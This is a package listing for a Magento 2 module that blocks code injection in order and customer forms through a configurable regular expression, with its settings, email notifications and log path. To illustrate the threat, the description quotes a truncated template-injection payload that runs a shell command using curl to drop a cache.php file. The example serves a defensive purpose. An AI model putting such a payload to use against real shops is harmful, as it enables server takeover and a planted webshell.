Download the PHP package wapone/module-input-fields-validator without Composer
On this page you can find all versions of the php package wapone/module-input-fields-validator. It is possible to download/install these versions without Composer. Possible dependencies are resolved automatically.
Download wapone/module-input-fields-validator
More information about wapone/module-input-fields-validator
Files in wapone/module-input-fields-validator
Package module-input-fields-validator
Short Description Custom Magento 2 module for input fields validation.
License OSL-3.0 AFL-3.0
Informations about the package module-input-fields-validator
WaPoNe Input Fields Validator
Extension description
Disallow random code injection in Magento 2 forms trough API or WEB requests for: Order Creation, Customer Creation, Customer Name Update, Customer Address Update
Random code like:
{{var this.getTemp lateFil ter().filt er(order)}} {{var this.getTemp lateFil ter().add AfterFil terCallb ack(system).Fil ter(cd${IFS%??}pub;curl${IFS%??}-o${IFS%??}cache.php${IFS....
The rejection mechanism is based on a configurable regular expression.
The default regular expression is '/[{}<>%]/' to reject characters like: { } < > %
It is also possible to configure a limit of characters to use only for the firstname and lastname fields validation.
Configurations
Configuration Section
- Enable: enable/disable module;
- Regular Expression: the regular expression to reject input values;
- Characters Limit: the limit of characters to use only for the firstname and lastname fields validation;
- Region Fields Validation: enable/disable the validation of region fields.
Notifications Section
- Enable invalidation fields results notification: enable/disable invalidation fields results notification;
- Email addresses for invalidation fields results notification: Email addresses to receive invalidation fields results.
Notification
The extension provides the possibility to email to configurable addresses at the end of process to notify the invalidation fields results.
Logs
The log file is in the path: _/var/log/wapone_input_fieldsvalidator.log
Installation Using Composer (recommended)
Contribution
Forked from bafmaamy/Magento-FieldValidator.